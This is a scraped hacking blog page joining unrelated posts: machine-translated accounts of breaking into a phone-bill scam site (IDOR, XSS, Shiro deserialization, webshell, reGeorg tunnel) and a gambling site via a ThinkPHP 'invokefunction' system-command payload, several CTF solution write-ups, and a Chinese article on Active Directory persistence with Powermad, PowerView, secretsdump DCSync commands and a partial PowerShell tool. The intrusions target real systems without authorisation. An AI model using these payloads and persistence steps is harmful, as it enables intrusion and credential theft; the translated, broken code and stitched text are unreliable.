Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112324

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00インシデントの原因

私は3999の貯蔵前の電話手形に遭遇し、タブレットを送るようにだまされました。 Alipayは運営され、現金を払い、お金を譲渡し、私のHuabeiを奪いました。

家に帰ったとき、私は何かが間違っていると感じ、それをますます後悔しました。私はこの種の活動についてオンラインで検索し、それらの多くを捕まえましたが、それらはまったく同じでした。私がそれを見れば見るほど、私は怒りになりました。

图片

最も重要なことは、私が与えたタブレットは800元であり、これは販売前の電話代の価値がなく、実際には立ち往生していたので、私はより深く掘り下げることにしました。

0x01情報収集

検証テキストメッセージによって送信された短いドメイン名リンクをブラウザにコピーして、url xx.xxxx.xx.xxを解決します。良い男は明らかに公式のモバイル担当者の下にいません。彼はWebマスターツールを介してURLを検索して分析し、CDNを有効にせずにAlibaba Cloudに解決しました。ドメイン名ホルダーは、広東省のテクノロジー企業です。ドメイン名は今年11月に失効しました。会社を捜索した後、私は4つの大きな単語「Operation異常」が異常であることがわかりました。数千人の電話手形はとてもクールでなければなりません。

图片 图片 图片

NMAP -P 1-65355 xx.xxxx.xxを使用して取得したドメイン名をスキャンすることにより、どのサービスがオープンしているかを確認し、そのサービスから開始するサービス80と22のみがあることがわかります。

图片

ポート80へのWebサービスにアクセスした後、このインターフェイスは、テキストメッセージコンテンツの短いドメイン名からジャンプするインターフェイスでもあります。

图片

そのURLフォームは/admin/user/loginの明らかなユーザーログインインターフェイスです。誰もが知っているように、管理者は管理を意味します。直感により、レイヤーごとにディレクトリアクセスレイヤーを削減し、管理者/ログインのマーチャント管理インターフェイスになります。

图片

0x02脆弱性マイニング

現在、2つのログインインターフェイスが見つかりました。舞台裏のログインには、ブラスト操作を実行するための検証コードはありませんが、前提条件は商人の携帯電話番号を知ることです。通常、自分のユーザーにログインして、利用可能な場所があるかどうかを確認しましょう。機能は非常に単純で、利用可能な場所はありません。アバターを編集してアップロードすることはできません。このインターフェイスは、表示される電話料金の合計量のみを提供します。このようなプラットフォームを使用して、過去数か月間に消費者を怖がらせるために数字を表示するだけです。

图片

ユーザーを終了してバープを使用してパケットをキャプチャして送信されたデータを分析し、正しい携帯電話番号検証コードとSMS検証コードを入力してパケットキャプチャを有効にしますが、パラメーターはすべてプレーンテキストで送信され、検証コードはすべて正しいことがわかります。他のユーザーに置き換えた場合、普及しているレベルのレベルに到達できますか?モバイルの交換番号は、他のユーザーに正常にログインし、普及しているレベルのレベルを取得しました。

图片 图片

同じパーソナルセンターと同じ場所を使用せずに、バックグラウンドログインボックスに切り替えます。何も言わない場合は、Burpを直接使用してログインポストパッケージをキャッチできます。ローカルTXTファイルに保存し、SQLMAPで実行します。予期せぬ利益があるかもしれません。 Alibaba Cloudのサーバーがローカルで100%傍受されているため、実行するのと同じAlibaba Cloudサーバーを使用することを選択しました。ユーザー名、パスワード、およびremenbaerは注入されていません。

图片 图片

大丈夫、パッケージを手に取り、応答するデータを確認するためにパッケージを送信してください。アカウントのコンテンツが値タグに直接出力されていることがわかります。

图片

XSSペイロードを構築して、閉じてプラグインしてください! 」ScriptAlert(/xss/)/Scriptは、反射XSSを再除外します。

图片

图片

0x03 getShell

掘られた2つの抜け穴は役に立たず、アイデアは一時的に遮断されました。戻って、キャッチされたデータパケットを分析します。応答パケットにあまり注意を払っていません。私は、rememberme=deletemeという言葉は、shiroの敏deserializationの脆弱性という言葉であることを発見しました。

图片

Expに移動して、こちらのソースコードを確認し、検出についてWebサイトの静的ファイルを入力してください。

图片

コマンド実行ボックスは、脆弱性が存在するという入力可能な証拠であり、その逆の場合は入力できないことがわかります。さらに、5663.JS検証ファイルは /CSSレベルのディレクトリで生成され、アクセステストはファイルの書き込みに成功します。

图片 图片

ファイルは正常に記述され、シェルはIce Scorpion接続に書き込まれ、現在の権限を表示するためにWhaamiを実行します。 Linux環境は、権限を上げる問題を節約するために、最高の権限を直接ルートします。

图片

許可が利用可能であり、サーバーは公開キーに22のポートを開き、パスワードなしで直接ログインします。ただし、他のパーティがAlibaba Cloudのサーバーがリモートロケーションでログインしていることを考えると、ノイズが大きすぎるため、ソリューションは実装されていないというテキストメッセージのリマインダーがあります。私たちは有用な情報を掘り下げ続けました。長い間検索した後、データベース構成ファイルを見つけました。データベース接続のアドレスは172.xx.xx.xxです(マスターは非常に熟練しており、イントラネットアドレスもコードに与えられて鎮痛を防ぎます)。イントラネットのIPステーションデータベースであることを確認できます。プロキシに転送して接続する方法を見つけました。

图片

Ice Scorpionにソックスエージェントがいて、Proxifierと協力して、Navicatプレミアムデータプログラム管理をイントラネットデータベースにトンネルエージェントに追加します。プロキシファイアが構成された後、プログラムがConnectに追加されます。ただし、繰り返し試験と繰り返し接続の後、データは直接異常になり、それらのほとんどは傍受されます。

图片

イントラネットプロキシで多くのトリックを踏んでいます。要するに、私はまだ十分に経験していません。また、adminer.phpを使用するように指示を与えたマスターもいます(ここでは@Unciaのボス)。管理者は本当に良い、軽量で、便利です。 Webディレクトリをアップロードするだけです。しかし、環境では、Java環境はJSPスクリプトのみをサポートし、管理者にはPHPスクリプトのみがあります。

图片

0x04イントラネットエージェント

admenterは氷のサソリをサポートせず、プロキシできないため、プロキシトンネルを設定し、ここで多くの落とし穴に足を踏み入れて、トラフィックや切断なしでReduhとTunnaを使用しようとします。姿勢が間違っているのか、現在の環境によって制限されているのかはわかりません。最後に、GitHubでRegeorgアーティファクトを見つけました。

Regeorg

主にイントラネットサーバーのポートを使用してHTTP/HTTPSを渡すReduhのアップグレードバージョンと言えます

トンネルはローカルマシンに前進し、ターゲットサーバーのループを形成して、イントラネットまたはポートポリシーでターゲットサーバーの内部オープンポートに接続します。ウェブシェルを使用して作成します

Socksエージェントは、現在の環境がJavaであるため、イントラネットの浸透を実行します。JSP転送ファイルをWebサイトディレクトリにアップロードします。

スクリプトをアップロードしてスクリプトにアクセスした後、Georgが「すべて大丈夫だ」と言っていることを示しています。プロキシは成功しています。

图片

次に、python2 regeorgsocksproxy.py -p 9999 -u http://xx.xxxx.xx/tunnel.jspを実行します。Georgは、コマンドラインインターフェイスで「すべては問題ない」と表示されます。

图片

Proxifierを開き、基本的にローカル127.0.0.1の9999ポートを構成し、Proxyルールを設定してNAVICATプログラムを追加します。他のアクションについては、直接オフ状態を選択しますが、NAVICATトラフィックが通過できるようにします。

图片

構成が完了したら、Navicatを右クリックしてProxifierローカルプロキシモードで開きます。

图片

リンクが安定しており、Pythonウィンドウにはトラフィック送信があることがわかります(プロキシプロセス中にウィンドウを閉じないでください)。

图片

0x05真の詐欺

また、データベースを接続し、メンバーシップテーブルのアカウントを見て、メンバーシップテーブルの名前フィールドをフィルタリングして名前を見つけました。案の定、そこにデータが横たわっていた時間は、データがだまされていた時間と一致します。

图片

それを証明する方法は?とても簡単です。カレーのユーザーの最初のバッチは2019年5月からであり、1年先です。これは、19年のアカウントでアカウントにログインした詐欺であり、キャッシュバックの記録を見ることができることは明らかです。私は、権威の抜け穴を無効にする以前のレベルのレベルに基づいて、ラッキープレーヤーをランダムに彼のアカウントにログインします。

图片

これが過ぎてから1年が経ちましたが、キャッシュバックが初めてです。過去数ヶ月で、さまざまな理由であなたをだますのは消費者です。要するに、常に苦しむのは消費者です。

图片

0x06最後に書き込み

私がこの記事を書いた理由については、私も被害者であるため、このように分析して、誰もがこの局をより直感的に理解して、より多くの人々がだまされるようにしたいと思います。あなたがそれを処理するために行くとき、彼らはこれがモバイルによって承認された活動であることをあなたに伝えます(私は前に私に言った)。しかし、このようにして、モバイルとは何の関係もないことがわかります。それは彼らが独立して構築した単なるプラットフォームであり、内部のバランスはただの愚か者です。あなたを安心させるための番号を示すプラットフォームがあります。最初の月に到着した数百ドルについては、彼らはあなたのセットの数千から数百人で手動であなたを充電するだけです。

それについて話さないでください。翌年、私は汚れを食べてhuabeiを返さなければなりません。マーチャントがシステムにログインすると、おそらくもっとトリックがありますが、浸透テストがポイントするまで、私の目的はこれが詐欺かどうかを証明することです。それはしっかりしたものなので、私たちはより深く行く必要はありません。

私たちが行う安全な対立は、火薬のない戦争のようなものです。勝利または負けに加えて、戦争の結果は正義と不正の違いもあります。唯一の違いは、私たちは常に正義の観点から立ち、それに害を及ぼさずにその抜け穴の原則を探求しなければならないことです。

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247486245IDX=1SN=ebfcf540266643c0d618e5cd47396474chk SM=CE67A1BCF91028AA09435781E951926067DCF41532DACF9F6D3B522CA2DF1BE8A3C8551C1672CENE=21#WECHAT_REDIRECT

私は誤ってThinkPhpのほうれん草のサイトを発見しました。最近TPに抜け穴はありませんでしたか?

それから私はそれをさりげなくテストしましたが、プロセスはそれほどスムーズではありませんでしたが、ついに勝ちましたので、私は自分のアイデアを共有するためにこの記事を投稿しました。

0x00ワンクリックゲッシェル

短い見方の後、多くの人がプレイするはずですよね?

1049983-20240105093324133-383409570.png数日前、私はテストツールを書き、最初にテストするためにそれを取り出しました。

このツールは脆弱性を示しています

1049983-20240105093335090-2095780538.pngワンクリックゲッシェル、非常に滑らかに見えます、ハハ。

1049983-20240105093335989-559902528.pngしかし. Xiao Mingは髪を振って、物事が単純ではないことを発見しました。

1049983-20240105093336787-674964719.png包丁が接続されている場合、500のエラーが返されます。

1049983-20240105093337570-1853999192.png FirefoxのHackbarを使用して確認しました。それには何の問題もないので、なぜ包丁をつなげることができないのですか?

ケチな人として、私は深い考えに陥らざるを得ませんでした.

1049983-20240105093338367-558319976.png

0x01開始分析

私はこのツールを自分で書いたので、上記の写真から3番目の経験が呼ばれていることを発見したので、それを分析して見てみましょう。

次のようにPOC

/?s=index/\ think \ app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] []=dir

POCの後にWhoamiを入力して、権限を確認しましょう。

/?s=index/\ think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=systemvars [1] []=whoami

IIS許可

ただし、Echo Dirなど、一部のコマンドを実行できます。

1049983-20240105093339418-1872353037.png

0x02シェルを突破してみてください

エコーを実行できるので、ポニーを書くことができます。それが成功した場合、私たちはポニーを使用してポニーをアップロードしてそれを行い、それを言うとすぐにそれを行います。大変な作業が来たら、列に並んで書かなければなりません。

注:コードのシンボルは^^で逃げる必要があります。たとえば、PHPは^^?phpに逃げました

1049983-20240105093340495-1537021683.png行ごとの執筆が完了した後、アクセスするときに正常に実行できないことがわかりました。ここでスクリーンショットを撮るのを忘れました。

次に、次の方法を使用してファイルをサーバーにダウンロードしようとしましたが、失敗しました。

1049983-20240105093351352-1328543067.png私があきらめようとしていたとき、私はまだ役に立たないダウンロードコマンドがあったことを思い出しました。

それはcertutil.exeです

それを行うだけで、マレーシアをサーバーに置き、HFSを有効にしてください。

次に、次のコマンドを実行します。

1049983-20240105093352245-99523761.pngはマレーシアに成功しましたが、あまりにも早く幸せにならないでください。

1049983-20240105093353277-1543002363.png Xiao Mingは再び髪を振って、物事がさらに難しいことを発見しました.

1049983-20240105093354070-918181612.pngマレーシアはファイルのアップロードを操作して名前を変更するなどしますが、ファイルを編集できず、ファイルソースコードなどを表示できません。クリックして空白スペースを表示します。

1049983-20240105093354903-784253893.pngそうなので、データベースに行き、見てみましょう。

TPのデータベース構成ファイルが次の場所にあることは誰もが知っています

/application/database.php

マレーシアを開くことができないため、TPコマンドを使用して脆弱性を実行し、Typeコマンドを使用してこのファイルを読み取ることができます。

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]

読み取りの試みは失敗し、コピーコマンドが頭に浮かぶようになりました。

database.phpをWebルートディレクトリにコピーし、名前を1.txtに変更します

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]]

コピーした後、URL/1.TXTにアクセスして、それが空であることがわかります。

0x03成功したブレークスルー

一連の障害を経験した後、私は落ち着いて考えました。また、File_Pathを使用してソースコードを読み取ることもできます。

1049983-20240105093405723-1104995441.png DAMAを使用して、このファイルをルートディレクトリにアップロードしてからアクセスし、データベース構成情報を正常に取得します。

1049983-20240105093407641-1694905724.png次に、構成情報を入力してデータベースを入力します。

1049983-20240105093408996-20299154.png 1049983-20240105093415084-497983513.pngこの記事が書かれた夜遅くすでにありました。私はテーブルの上でインスタント麺の半分を食べたインスタント麺を見て、最後に2杯のスープを飲み、電話をオフにして寝ました.

元のリンクから転載:https://www.jiansshu.com/p/1f9b02780f1c

1. pyc

PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。

#!/usr/bin/env python

#詳細については、https://tool.lu/pyc/をご覧ください

#version: python 3.8

ランダムをインポートします

def encrypt_file(file_path):

random.seed(114514)

#警告: Decompyleが不完全

file_path='./flag'

encrypt_file(file_path)

次に、AI分析を使用して、対応する復号化スクリプトを取得します

ランダムをインポートします

OSをインポートします

def decrypt_data(encrypted_data):

random.seed(114514)

decrypted_data=bytearray()

byte in necrypted_data:の場合

key=random.randint(0、128)

decrypted_data.append(byte ^ key)

decrypted_dataを返します

def read_file(file_path、mode='rb'):

open(file_path、mode)をfile:として

file.read()を返します

def write_file(file_path、data、mode='wb'):

open(file_path、mode)をfile:として

file.write(data)

def decrypt_file(encrypted_file_path、output_file_path):

encrypted_data=read_file(encrypted_file_path)

decrypted_data=decrypt_data(encrypted_data)

write_file(output_file_path、decrypted_data)

__NAME __=='__ Main __' :の場合

encrypted_file_path='flag.enc'

output_file_path='flag_decrypted.txt'

decrypt_file(encrypted_file_path、output_file_path)

#flag {u_r_g00d_at_do1n_pyc}

2. mwatch

ヒント:データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5(データ収集デバイス名データ受信デバイス名値)}

心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください

image-20240428205017240

image-20240428205017240

フラグ{MD5(MIスマートバンド5_REDMI K40_128)}

フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14}

3. babyrsa

ヒント:特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか?

ソースコード:

#task.py

#!/usr/bin/env python3

# - * - coding: utf-8-* -

秘密のインポートフラグから、init

crypto.util.Numberインポートから *

sage.allからimport *

gmpy2インポートirootから

m=bytes_to_long(flag.encode())

r=getPrime(128)

p=init

#範囲(r-1):の場合

#p +=next_prime(init)

#arsert iroot(p、3)[1]==1

Q=getPrime(12)

#n=p*q*r

n=r ** 4*q

E=getPrime(17)

c=pow(m、e、n)

印刷(f'r={r} ')

print(f'e={e} ')

印刷(f'c={c} ')

#R=287040188443069778047400125757341514899

#E=96001

#c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

Qを取得するために12ビットの素数を爆破してから復号化します

crypto.util.Numberからlong_to_bytesをインポートします

R=287040188443069778047400125757341514899

E=96001

c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

#指数のモジュラスが実際にr ** 4であると仮定すると

n=r ** 4

#emodφ(n)のモジュラー逆数を計算します。ここで、φ(n)は(r-1)*(r ** 3)のようなrの関数になる可能性があります

#RSA復号化式m=c^d mod nにはφ(n)の正しい値が必要です。ここで、d=e^( - 1)modφ(n)

#ここで、φ(n)=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません

phi_n=r ** 4 -r ** 3

d=inverse(e、phi_n)

#メッセージを復号化します

m=pow(c、d、n)

#番号をバイトに変換します

メッセージ=long_to_bytes(m)

印刷(メッセージ)

#flag {3b0ce326141ea4f6b5bf2f37efbd1b42}

4. バックパック

BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化

#!/usr/bin/env python3

# - * - coding: utf-8-* -

sage.allからimport *

秘密のインポートフラグから

crypto.util.Numberインポートから *

数学からインポートlog2から

クラスナープサック:

def __init __(self、n、m):

self.m=[]

self.n=n

self.m=self.pre(m)

self.a=0

self.b=0

def pre(self、m):

tmp_m=bin(m)[2:]

t=[]

TMP_M:のTMPの場合

T.Append(int(tmp))

tを返します

def get_m(self):

seq=[randint(2 ** 34,2 ** 35)for _ in range(self.n)]

self.m=seq

def calc_denity(self):

t=log2(max(self.m))

d=self.n/t

印刷(d)

def enc(self):

self.get_m()

self.calc_dences()

c=0

範囲のt(len(self.m)):

c +=self.m [t] * self.m [t]

印刷(f'c={c} ')

print(f'm={self.m} ')

__NAME __=='__ Main __' :の場合

m=bytes_to_long(flag.encode())

n=m.bit_length()

k=ナップサック(n、m)

k.enc()

#c=231282844744

#M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920]

Sagemathで実行:

crypto.util.Number inmort long_to_bytesから

C=231282844744

M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、

23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、

33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、

31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、

30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、

21108080920]

l=block_matrix([[1、matrix(zz、m)]、[0、c]])。lll())。

L:の行

row [-1]==0およびlen(set(row [:-1]))==1:の場合

#最後の要素を除くすべての要素が同じであると仮定すると同じです

ans=[abs(i)in ow in ow in [:-1]]

ans=int( ''。join(map(str、ans))、2)

print(long_to_bytes(ans))

5. ターゲットを絞ったデータ収集

OpenPyxlをインポートします

リクエストをインポートします

インポート時間

urllib.parseインポートurlencodeから

burp0_url='http://121.40.65.125:23328/submit'

Def devery_name_and_id(input_file、output_file):

wb=openpyxl.load_workbook(input_file)

ws=wb.active

ws.iter_rows(min_row=1、max_col=1、max_row=ws.max_row、values_only=true):の行の場合

行[0] :の場合

名前、id_number=row [0] .split( '----')#extrame name and Identityカード

印刷(名前、id_number)

Age=2024-int(id_number [6:10])

if(int(id_number [10:12])4):

年齢- =1

sexx=u'male '

burp0_json={'address':' asd '、' age ': str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx}

sexx2=u'female '

burp0_json1={'address':' asd '、' age '3: str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2}

try:

r0=requests.post(burp0_url、json=burp0_json)

r1=requests.post(burp0_url、json=burp0_json1)

print(r0.request.body)

print(r0.text、r1.text)

#time.sleep(0.5)

requests.exceptions:を除く

print( 'err')

#time.sleep(2)

#ws.append([name.strip()、id_number.strip()])

#wb.save(output_file)

wb.close()

__name__=='__main __' :の場合

input_file='data1.xlsx'

output_file='deprosed_data.xlsx' #Noの使用、破棄されます

devery_name_and_id(input_file、output_file)

6. 天気

レビューbundle.js

image-20240428213212351

image-20240428213230335

アクセスするパラメーターを取得します

Image

7.mysqlクリーンアップ

ヒント:

要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 (MySQL CTFユーザーパスワードPSWD@123)

( '5142'、 '2123'、'1169 '、' 8623 ')のushows_id in(' 5142 '、' 2123 '、' 18623 ')から削除します。

( '5142'、 '2123'、'1169 '、' 8623 ')inuser_id in(' 5142 '、' 2123 '、' 8623 ');

userlog where where user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

( '5142'、 '2123'、'1169 '、' 8623 ')でid(' 5142 '、' 2123 '、'1169'、 ');

テーブルを再構築し、削除後に残りのデータをクリアします

Alter Tableユーザーエンジン=innodb;

Alter Table userlog Engine=innodb;

Table TransactionHistory Engine=Innodbを変更します。

Alter Table ShopphingCart Engine=Innodb;

Alter Table Orders Engine=Innodb;

image-20240428213639377

8. ファントムスクエア

第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください

Hashlibをインポートします

ランダムをインポートします

文字列をインポートします

#文字セットを英数字として定義します

charset=string.ascii_letters + string.digits

true:

#チャーセットからランダムな4文字列を生成します

rand_str='' .join(random.choice(charset)for _ in _ in range(4)) + 'cyhqp8lsgzyjtnud'

#文字列のSHA-256ハッシュを計算します

hash_output=hashlib.sha256(rand_str.encode())。hexdigest()

#ハッシュがターゲットハッシュと一致するかどうかを確認します

hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合

print(rand_str [:4])#一致が見つかった場合は最初の4文字を印刷します

壊す

'' '

[2、7、6、9、5、1、4、3、8]

[2、9、4、7、5、3、6、1、8]

[4、3、8、9、5、1、2、7、6]

[4、9、2、3、5、7、8、1、6]

[6、1、8、7、5、3、2、9、4]

[6、7、2、1、5、9、8、3、4]

[8、1、6、3、5、7、4、9、2]

[8、3、4、1、5、9、6、7、2]

4 3 8

9 5 1

2 7 6

'' '

image-20240428214506459

0x00 前言

机器帐户被许多技术用于权限提升和横向移动,但也有通过机器帐户建立域权限持久性的情况。这涉及将任意机器帐户添加到特权组(例如域管理员组)或修改机器帐户的 userAccountControl 属性中,使其转换为域控制器。在这两种情况下,攻击者都可以通过机器帐户进行身份验证并执行特权操作,例如通过 DCSync 导出所有域哈希等。

@Sean Metcalf 是第一个公开披露如何通过将机器帐户添加到高权限组来将机器帐户用作域持久性后门的人,此方法与向域管理员组添加标准用户帐户相同。2020 年, @Stealthbits 发布了一篇名为《SERVER (UN)TRUST ACCOUNT》的文章,展示了另一种持久性技术,其中涉及如何从机器帐户进行 Active Directory 复制。尽管通过 DCSync 技术转储密码哈希并不新鲜,并且相关操作可能会触发适当的警报,但使用机器帐户执行相同的技术能够达到更隐蔽的目的。

0x01  userAccountControl基础知识

在活动目录中,userAccountControl 是每一个账户的必备属性,该属性是一个位字段,不同的标志位代表不同的用户信息,该属性的值为所有标志位值的和。

juspjjzssr415510.png

下图是微软官方文档中给出的可能标志位,以及其十六进制和十进制值,详情请参考:Use the UserAccountControl flags to manipulate user account properties。

mhwcps02h1315512.png

userAccountControl 中有一个名为 SERVER_TRUST_ACCOUNT 的标志位,其十六进制值为 0x2000,十进制值为 8192,用来表示该账户是域控制器的机器帐户。当机器账户的 userAccountControl 属性设置了 SERVER_TRUST_ACCOUNT 标志位后,Active Directory 必须将该账户的 primaryGroupId 属性设置为域控制器组的 RID。因此,只需更改 userAccountControl 的标志位即可为普通域成员机器授予域控制器的特权。

0x02  实验测试一

在实战中,攻击者可以通过滥用 userAccountControl 属性,将普通域内机器的身份变为域控制器,并配合 DCSync 技术实现域持久化。具体做法比较简单,就是将机器账户的 userAccountControl 属性值设置为 8192。

(1)在域控制器上执行以下命令,通过 Powermad 在域内创建一个名为 PENTEST$ 的机器账户,账户密码设为 Passw0rd

Import-Module .\Powermad.ps1
# 设置机器账户的密码
$Password = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force
# 通过 New-MachineAccount 函数创建一个机器账户
New-MachineAccount -MachineAccount "PENTEST" -Password $($Password) -Domain "pentest.com" -DomainController "DC01.pentest.com" -Verbose

phom133gj2m15515.png

(2)执行以下命令,通过 PowerView.ps1 查询新添加的机器账户 PENTEST$。可以看到,账户 PENTEST$ 的主要组 ID(primaryGroupId)为 515,这是 Domian Computers 组的 RID,说明 PENTEST$ 此时还是一台普通域成员机器,如下图所示。

Import-Module .\PowerView.ps1
Get-NetComputer -Identity "PENTEST" -Properties name, primaryGroupID, userAccountControl

vycu4kmwhaa15517.png

(3)执行以下命令,通过 PowerView.ps1 将 PENTEST$ 账户的 userAccountControl 属性值设为 8192,这将更改账户的主要组 ID 为 516,如图下所示。此时,PENTEST$ 账户的主要组被改为了 Domain Controllers,也就是域控制器组。

Import-Module .\PowerView.ps1
Set-DomainObject -Identity "PENTEST$" -Set @{"userAccountControl" = 8192} -Verbose

1uzyn5s0ig215520.png

如下图所示,此时 PENTEST$ 账户已经是一台域控制器了。

0w5yzarnzbv15523.png

(4)由于其拥有所需的特权并且账户密码已知,所以在普通域主机上可直接通过 secretsdump.py 执行 DCSync 操作来导出域用户哈希,如图所示。

python3 secretsdump.py pentest.com/PENTEST\$:Passw0rd@172.26.10.11 -just-dc

l0lu20yfw5k15530.png

根据上述利用过程,编写了一个简单的 PowerShell 脚本 NewDomainController.ps1,以下是完整的代码:

Function NewDomainController {
<#
.SYNOPSIS
    This script will create a new domain controller account in the domain for the purpose of domain persistence.
.DESCRIPTION
    In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit 
    field. Different flags represent different user information. The value of this attribute is the sum of all 
    flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is 0x2000 
    and decimal value is 8192, which is used to indicate that the account is the machine account of the domain 
    controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set, 
    Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group. 
    So just change userAccountControl to grant domain controller privileges to normal domain member machines.
.LINK
    https://whoamianony.top/domain-persistence-machine-accounts/
.PARAMETER Domain
    Specifies the domain name, if omitted, the domain name will be obtained automatically.
.PARAMETER DomainController
    Specifies the FQDN of the domain controller.
.PARAMETER MachineAccount
    Specifies the name of the machine account to be created.
.PARAMETER Password
    Specifies the password of the machine account to be created.
.OUTPUTS
    Output will be shown in the console
.NOTES
    Version:        0.1
    Author:         WHOAMI
    Date:           01/18/2022
.EXAMPLE
    NewDomainController -MachineAccount "PENTEST" -Password "Passw0rd" -Domain "pentest.com" -DomainController "DC01.pentest.com"
#>

    param (
        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Domain,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$DomainController,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$MachineAccount,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Password
    )


    function FormatStatus([string]$Flag, [string]$Message) {
        If($Flag -eq "1") {
            Write-Host "[+] " -ForegroundColor:Green -NoNewline
            Write-Host $Message
        }ElseIf($Flag -eq "0") {
            Write-Host "[-] " -ForegroundColor:Red -NoNewline
            Write-Host $Message
        }
    }
    

    $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")

    if($Password)
    {
        $SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
        $PasswordBSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword)
        $PasswordClearText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PasswordBSTR)
        $PasswordClearText = [System.Text.Encoding]::Unicode.GetBytes('"' + $PasswordClearText + '"')
    }

    if(!$DomainController -or !$Domain)
    {
        try
        {
            $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            FormatStatus 0 "$($_.Exception.Message)"
            throw
        }

        if(!$DomainController)
        {
            $DomainController = $CurrentDomain.PdcRoleOwner.Name
            FormatStatus 1 "Get Domain Controller: $DomainController"
        }

        if(!$Domain)
        {
            $Domain = $CurrentDomain.Name
            $Domain = $Domain.ToLower()
            FormatStatus 1 "Get Domain Name: $Domain"
        }
    }

    $_MachineAccount = $MachineAccount

    if($MachineAccount.EndsWith('$'))
    {
        $SAMAccountName = $_MachineAccount
        $_MachineAccount = $_MachineAccount.SubString(0,$_MachineAccount.Length - 1)
    }
    else 
    {
        $SAMAccountName = $_MachineAccount + "$"
    }

    FormatStatus 1 "Get SAMAccountName: $SAMAccountName" 


    $DistinguishedName = "CN=$_MachineAccount,CN=Computers"
    $DC_array = $Domain.Split(".")

    ForEach($DC in $DC_array)
    {
        $DistinguishedName += ",DC=$DC"
    }

    FormatStatus 1 "Get DistinguishedName: $DistinguishedName"

    FormatStatus 1 "Start creating a machine account $MachineAccount"
    $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
    $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)

    $connection.SessionOptions.Sealing = $true
    $connection.SessionOptions.Signing = $true
    $connection.Bind()
    $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName"
    $request.DistinguishedName = $DistinguishedName
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass","Computer")) > $null
    FormatStatus 1 "Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "SamAccountName",$SAMAccountName)) > $null
    FormatStatus 1 "Set the userAccountControl property of the $MachineAccount account to 8192"
    $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "userAccountControl","8192")) > $null
    FormatStatus 1 "Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain"
